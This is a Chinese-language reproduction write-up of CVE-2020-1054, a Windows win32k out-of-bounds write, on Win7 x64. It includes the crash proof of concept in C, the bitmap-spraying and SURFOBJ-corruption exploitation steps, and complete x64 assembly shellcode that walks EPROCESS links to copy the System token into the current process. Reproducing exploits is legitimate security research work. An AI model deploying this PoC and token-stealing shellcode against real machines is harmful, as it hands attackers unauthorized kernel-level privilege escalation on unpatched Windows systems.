CVE-2020-1054
測試環境
Win7 x64 SP1
前言
此次漏洞復現是對《CVE-2020-1054 Analysis》這篇文章的理解與實踐,由於這篇文章對整個利用過程闡述的非常詳細,因此本次分析報告主要記錄一下在復現時遇到的一些問題。
具體分析
- 通過運行
POC
,在windbg中斷下,可以發現漏洞點在win32k!vStrWrite01
,在NT4
中發現有這個函數的源碼,可以輔助我們分析理解。
int main(int argc, char *argv[])
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
return 0;
}
- 根據上圖漏洞點,可以看到訪問異常發生在讀取
pjDraw
處,從下圖源碼可以知道pjDraw
肯定是指向SURFOBJ->pvScan0
區域的,這個函數就是對這塊像素數據進行某種填充,而這個訪問異常地址明顯超出了這個SURFOBJ
對象的像素區,因此這是一個OOB
類型的漏洞。
- 現在的重點是如何精准控制這個
pjDraw
的值,在IDA中觀察可以發現在這個while
循環中,pjDraw
每次增加SURFOBJ->Delta
大小,而SURFOBJ->Delta
又是由CreateCompatibleBitmap
的第二個參數cx
控制,根據文章中描述可知lDelta = cx / 0x8
。 - 從上圖可知在
while
循環中對pjDraw
讀取寫入的次數由win32k!vStrWrite01
的前兩個參數控制,當pxrl != pxrlEnd
時循環就會繼續,通過動態調試可以發現,循環次數是由DrawIconEx
的第三個參數控制。
- 有了以上基礎后,我們來看一下《CVE-2020-1054 Analysis》文章中的利用思路,
1. Allocate a base bitmap (fffff900'c700000). 2. Allocate enough SURFOBJs (via calls to CreateCompatibleBitmap) such that one is allocted at fffff901'c7000000. 2.1. A second is allocated directly after the first. 2.2. A third is allocated directly after the second. 2. Calculate loop_iterations*lDelta such that it is equal to fffff901'c7000240. 3. Use OOB write to overwrite width or height of second SURFOBJ's sizlBitmap. 4. Use SetBitMapBits with second SURFOBJ to overwrite pvScan01 of third SURFOBJ. 5. Arbitrary reusable write is now obtained. 6. Typical EoP overwrite process token privileges and inject into winlogon.exe.
因此我們需要選擇合適大小的BitMap
進行噴射,讓其中一個對象位於fffff901'c7000000
,作者提供的代碼中是通過CreateCompatibleBitmap(allocate, 0x6f000, 0x08)
進行的噴射,我們進行一下簡單的計算:
cjTotal = (((cx * cPlanes * cBits) + 15) >> 4) << 1) * cy = 0x6f000
pool_bitmap_size = PAGE_ALIGN (cjTotal + sizeof(surfobj_header) + sizeof(pool_header)) = 0x70000
通過測試選擇大小為0x7000
的BitMap
對象進行噴射可以成功申請到fffff901'c7000000
地址
現在需要解決的最后一步就是找到特定的DrawIconEx
的arg1 arg2
,來使得pjDraw
的位置剛好等於surfobj->sizlBitmap
的位置,從而修改位圖的大小,使得可以通過GetBitmapBits/SetBitmapBits
進行越界讀寫,由於我們已經在上面解釋過DrawIconEx arg1 arg2
和漏洞函數的關系,因此可以很容易的理解下面這段python
腳本(腳本來自《CVE-2020-1054 Analysis》)
至此我們已經確定了如何填寫DrawIconEx
的參數來越界修改BitMap
對象的大小,提權方式則是采用替換tagWND.bServerSideWindowProc = 1
窗口的窗口過程函數。
public WndProc_fake
extern DefWindowProcW:proc
.code
WndProc_fake proc hwnd:dword, msg:dword, wParam:dword, lParam:dword
mov ax,cs
cmp ax,10h
jnz return
pushfq
push rax
push rdx
push rbx
mov rax, gs:[188h] ;CurrentThread
mov rax, [rax + 210h] ;Process
lea rdx, [rax + 208h] ;MyProcess.Token
noFind :
mov rax, [rax + 188h] ;Eprocess.ActiveProcessLinks
sub rax, 188h ;next Eprocess struct
mov rbx, [rax + 180h] ;PID
cmp rbx, 4
jnz noFind
mov rax, [rax + 208h] ;System.Token
mov [rdx], rax
pop rbx
pop rdx
pop rax
popfq
return:
mov ecx,hwnd
mov edx,msg
mov r8d,wParam
mov r9d,lParam
sub rsp,20h
call DefWindowProcW
add rsp,20h
ret
WndProc_fake endp
end
效果演示
參考
《https://0xeb-bp.github.io/blog/2020/06/15/cve-2020-1054-analysis.html》